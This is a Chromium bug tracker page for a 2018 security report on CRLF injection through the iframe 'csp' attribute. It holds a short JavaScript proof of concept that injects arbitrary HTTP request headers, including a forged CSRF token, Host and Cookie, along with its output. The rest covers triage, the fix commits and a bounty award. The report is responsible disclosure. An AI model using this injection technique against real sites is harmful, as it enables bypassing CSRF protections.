New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 3 users

Issue metadata

Status: Fixed
Owner:
Closed: May 2018
Cc:
Components:
EstimatedDays: ----
NextAction: 2018-05-30
OS: Linux , Android , Windows , Chrome , Mac
Pri: 1
Type: Bug-Security



Sign in to add a comment
link

Issue 845961: Security: Setting arbitrary http request headers via <iframe csp> attribute

Reported by mic...@bentkowski.info, May 23 2018

Issue description

VULNERABILITY DETAILS
Using `csp` attribute in <iframe> element, an attacker might set arbitrary http headers, using "\r\n" characters. The most obvious scenario of attack is to add a "x-csrf-token" header to bypass header-based CSRF protection.

Interestingly, though, it seems that arbitrary headers might be set, including Host, Content-type or User-Agent.

VERSION
Chrome Version: 66.0.3359.181 stable
Operating System: macOS Sierra 10.12.6 (16G1314)

REPRODUCTION CASE

1. On http://bntk.pl/headers.php there is a simple page that just returns all http request headers that the server saw. Please note that the page responds with `Allow-CSP-From: *` header, so that it can be easily seen what headers were sent.
2. Below is a code that sets five headers: Host, X-Csrf-Token, Cookie, User-Agent and Content-Type.

<!doctype html><meta charset=utf-8>.
<script>
	const ifr = document.createElement('iframe');
	ifr.src = 'http://bntk.pl/headers.php?'+Math.random();
	ifr.height = '600px';
	const headers = [
		'X-CSRF-TOKEN: 0123456789abcdef',
		'Host: changed-host.bntk.pl',
		'Cookie: aaaaa',
		'User-Agent: Whatever',
		'Content-type: application/json',
	]
	ifr.csp = 'script-src\r\n' + headers.join('\r\n');
	
	document.body.appendChild(ifr);
</script>

3. The output should be similar to:

array(11) {
  ["Host"]=>
  string(20) "changed-host.bntk.pl"
  ["Connection"]=>
  string(10) "keep-alive"
  ["Upgrade-Insecure-Requests"]=>
  string(1) "1"
  ["Sec-Required-CSP"]=>
  string(10) "script-src"
  ["X-CSRF-TOKEN"]=>
  string(16) "0123456789abcdef"
  ["Cookie"]=>
  string(5) "aaaaa"
  ["User-Agent"]=>
  string(8) "Whatever"
  ["Content-type"]=>
  string(16) "application/json"
  ["Accept"]=>
  string(85) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"
  ["Accept-Encoding"]=>
  string(13) "gzip, deflate"
  ["Accept-Language"]=>
  string(35) "pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7"
}


which proves that additional headers were set.
 

Comment 1 by elawrence@chromium.org, May 23 2018

Is the claim here that a "CSP" attribute added to an iframe is somehow converted to a set of request headers?

Comment 2 by elawrence@chromium.org, May 23 2018

Cc: mkwst@chromium.org
Components: Blink>SecurityFeature>ContentSecurityPolicy
https://w3c.github.io/webappsec-csp/embedded/#required-csp

Comment 3 by mic...@bentkowski.info, May 23 2018

That's right. The `csp` attribute is converted to Sec-Required-CSP header, per: https://w3c.github.io/webappsec-csp/embedded/#allow-csp-from-header .

There appears to be a classic CRLF injection though, that makes it possible to escape from Sec-Required-CSP and set arbitrary headers.

Comment 4 by mkwst@chromium.org, May 24 2018

Labels: Security_Severity-High Security_Impact-Stable OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows Pri-1
Owner: andypaicu@chromium.org
Status: Assigned (was: Unconfirmed)
Well. That's pretty terrible and seems easily exploitable. :( Thanks for the report!

Andy, can you fix this, please? We ought to be rejecting values with characters that aren't expected in a valid policy. I would have expected `ContentSecurityPolicy::IsValidCSPAttr` (https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/frame/csp/content_security_policy.cc?rcl=524e60fb52e11d589f3a0cc9010e98080bf98e23&l=1844) to reject this value, but it apparently doesn't.

Comment 5 by sheriffbot@chromium.org, May 24 2018

Project Member
Labels: M-66

Comment 6 by bugdroid1@chromium.org, May 25 2018

Project Member

Comment 7 by andypaicu@chromium.org, May 25 2018

Status: Fixed (was: Assigned)

Comment 8 by mkwst@chromium.org, May 25 2018

Cc: awhalley@chromium.org
Labels: Merge-Request-67 Merge-Request-66
Once this bakes a bit, I'd like to get it merged back as far as y'all will let us.

+awhalley@: FYI.

Comment 9 by sheriffbot@chromium.org, May 25 2018

Project Member
Labels: -Merge-Request-67 Merge-Review-67 Hotlist-Merge-Review
This bug requires manual review: We are only 3 days from stable.
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), govind@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 10 Deleted

Comment 11 by gov...@chromium.org, May 25 2018

+awhalley@ for M67 merge review. Pls note this is not baked in canary yet and we already cut Stable RC for release next week. Thank you.

Comment 12 by awhalley@google.com, May 25 2018

I'm afraid we've missed the cut for 67 stable, however once this has been out for a bit we should get it merged to 67 and pick it up in any stable updates.

The changes look good and well test covered, and I can't imagine any compatibility issues; andypaicu@, mkwst@ any other risk comments?

Comment 13 by awhalley@google.com, May 25 2018

NextAction: 2018-05-29

Comment 14 by cmasso@google.com, May 25 2018

Labels: -Hotlist-Merge-Review -Merge-Review-67 Merge-Approved-67
Approving the merge upon comments from andypaicu@, mkwst@.

Comment 15 by sheriffbot@chromium.org, May 26 2018

Project Member
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 16 by monor...@bugs.chromium.org, May 29 2018

The NextAction date has arrived: 2018-05-29

Comment 17 by awhalley@chromium.org, May 29 2018

Labels: Merge-Request-68

Comment 18 by andypaicu@chromium.org, May 29 2018

mkwst@ is out for the week. I can't really see any risks associated with this change.

Comment 19 by sheriffbot@chromium.org, May 29 2018

Project Member
Cc: cmasso@google.com
This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 20 by awhalley@chromium.org, May 29 2018

Labels: reward-topanel

Comment 21 by cma...@chromium.org, May 29 2018

Do we still intend to merge this into M67? Please do so now if that's the case.

Comment 22 by awhalley@chromium.org, May 29 2018

Labels: -M-66 -Merge-Request-66 Merge-Rejected-66 M-67
NextAction: 2018-05-30
Yep (and to 68). The eng team is in Germany and I think they've got a public holiday next week. If it's not done tomorrow pacific time I'll do the cherry pick.

Comment 23 by abdulsyed@google.com, May 29 2018

Labels: -Merge-Request-68 Merge-Approved-68
branch:3440

Comment 24 by monor...@bugs.chromium.org, May 30 2018

The NextAction date has arrived: 2018-05-30

Comment 25 by bugdroid1@chromium.org, May 31 2018

Project Member
Labels: -merge-approved-68 merge-merged-3440
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/a318c5d3937989dc17ab08b5cb0899b2903597b9

commit a318c5d3937989dc17ab08b5cb0899b2903597b9
Author: Andrew R. Whalley <awhalley@chromium.org>
Date: Thu May 31 16:06:40 2018

[M68 Merge] Fixed CSP directive value parsing accepted character range

TBR=andypaicu@chromium.org

(cherry picked from commit 5b8466d84c801a9dfe140cb9a9f6be3a8caba230)

Bug:  845961 
Change-Id: Ifc9609058cd7cbd268785db46534e3ed09da6ce3
Reviewed-on: https://chromium-review.googlesource.com/1071510
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#561834}
Reviewed-on: https://chromium-review.googlesource.com/1080929
Reviewed-by: Andrew Whalley <awhalley@chromium.org>
Cr-Commit-Position: refs/branch-heads/3440@{#62}
Cr-Branched-From: 010ddcfda246975d194964ccf20038ebbdec6084-refs/heads/master@{#561733}
[add] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/required_csp-header-crlf.html
[modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/echo-required-csp.py
[modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/testharness-helper.sub.js
[modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/blink/renderer/core/frame/csp/content_security_policy.cc
[modify] https://crrev.com/a318c5d3937989dc17ab08b5cb0899b2903597b9/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc

Comment 26 by bugdroid1@chromium.org, May 31 2018

Project Member
Labels: -merge-approved-67 merge-merged-3396
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/b05860188637bee077fadfd147fe4c46ac204e18

commit b05860188637bee077fadfd147fe4c46ac204e18
Author: Andrew R. Whalley <awhalley@chromium.org>
Date: Thu May 31 16:10:30 2018

[M67 Merge] Fixed CSP directive value parsing accepted character range

TBR=andypaicu@chromium.org

(cherry picked from commit 5b8466d84c801a9dfe140cb9a9f6be3a8caba230)

Bug:  845961 
Change-Id: Ifc9609058cd7cbd268785db46534e3ed09da6ce3
Reviewed-on: https://chromium-review.googlesource.com/1071510
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#561834}
Reviewed-on: https://chromium-review.googlesource.com/1080931
Reviewed-by: Andrew Whalley <awhalley@chromium.org>
Cr-Commit-Position: refs/branch-heads/3396@{#723}
Cr-Branched-From: 9ef2aa869bc7bc0c089e255d698cca6e47d6b038-refs/heads/master@{#550428}
[add] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/required_csp-header-crlf.html
[modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/echo-required-csp.py
[modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/WebKit/LayoutTests/external/wpt/content-security-policy/embedded-enforcement/support/testharness-helper.sub.js
[modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/blink/renderer/core/frame/csp/content_security_policy.cc
[modify] https://crrev.com/b05860188637bee077fadfd147fe4c46ac204e18/third_party/blink/renderer/core/frame/csp/content_security_policy_test.cc

Comment 27 by awhalley@chromium.org, Jun 5 2018

Labels: Release-1-M67

Comment 28 by awhalley@chromium.org, Jun 8 2018

Labels: -reward-topanel reward-unpaid reward-3133.7
*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.
*********************************

Comment 29 by awhalley@google.com, Jun 8 2018

Hi michal@! The VRP panel decided to award $3,000 for this report, plus a $133.7 bonus :-)

Comment 30 by awhalley@google.com, Jun 9 2018

Labels: -reward-unpaid reward-inprocess

Comment 31 by mic...@bentkowski.info, Jun 9 2018

Thank you very much!

But what is that bonus for? :)

Comment 32 by awhalley@chromium.org, Jun 11 2018

Hi michal@ - we use the bonus to reward particularly cunning, clever, or elegant bugs. Your report used a simple and well known attack technique that should't have worked against a Chrome feature in 2018, but yet, it did! Thanks for giving the simple things a try.

Comment 33 by bugdroid1@chromium.org, Jun 25 2018

Project Member
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/fa68dcfd12e376aa880b3193a77b896e6c54efdf

commit fa68dcfd12e376aa880b3193a77b896e6c54efdf
Author: Mike West <mkwst@chromium.org>
Date: Mon Jun 25 22:30:44 2018

Verify that header values set from Blink don't contain '\n'.

Because that would be silly.

Bug:  845961 
Change-Id: I69de2cb093a3629de63c48652c9499f7387b8334
Reviewed-on: https://chromium-review.googlesource.com/1109757
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Cr-Commit-Position: refs/heads/master@{#570206}
[modify] https://crrev.com/fa68dcfd12e376aa880b3193a77b896e6c54efdf/third_party/blink/renderer/core/exported/web_associated_url_loader_impl_test.cc
[modify] https://crrev.com/fa68dcfd12e376aa880b3193a77b896e6c54efdf/third_party/blink/renderer/platform/network/http_header_map.h

Comment 34 by sheriffbot@chromium.org, Sep 1

Project Member
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment